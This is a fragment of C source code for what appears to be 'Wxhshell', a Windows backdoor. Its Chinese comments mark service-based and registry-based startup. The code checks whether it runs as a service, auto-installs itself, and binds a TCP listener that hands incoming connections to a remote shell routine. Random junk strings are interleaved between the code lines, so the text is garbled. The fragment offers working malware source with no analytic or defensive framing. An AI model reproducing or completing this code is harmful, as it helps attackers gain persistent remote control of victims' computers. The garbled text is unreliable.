iK3gw<g if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *zTEK:+_ {axMS yp; CloseHandle(hProcess); 0>)F+QC ?Q G?F9? if(strstr(procName,"services")) return 1; // 以服务启动 Yo;Mexo!
:to1%6 return 0; // 注册表启动 0;avWa)Q } 5;_&C=[ Os"T,`F2s // 主模块 O(CmdSk, int StartWxhshell(LPSTR lpCmdLine) b?deZ2"L# { aYd`E4S+ SOCKET wsl; ZtH{2j0 BOOL val=TRUE; 6;{E-y int port=0; To@77.' struct sockaddr_in door; ?2i\ERG? [[gfR'79{ if(wscfg.ws_autoins) Install(); #8;#)q_[u nHTb~t5Ke port=atoi(lpCmdLine); Mv#\+|p 1x 1y}tPkOe7O if(port<=0) port=wscfg.ws_port; 1./iF>*A tX7TP( WSADATA data; h(MS>= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o]O UVj1nom if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l_z@.</8P@ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d6ABgQi0 door.sin_family = AF_INET; f$p7L.d< door.sin_addr.s_addr = inet_addr("127.0.0.1"); m0_B[dw door.sin_port = htons(port); 5B,HJax 9G"-~C"e3 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #23m_w^L closesocket(wsl); tDwj~{a~ return 1; #uillSV } to"[r n,.t~ if(listen(wsl,2) == INVALID_SOCKET) { %5|DdpES closesocket(wsl); 6>Ca O return 1; k:k!4 } :dkBr@u96O Wxhshell(wsl); y_A?}'X WSACleanup(); nH -1,#`g 9&p;2/H return 0; D>).^>|q gP 6`q } JHIXTy__ _E< |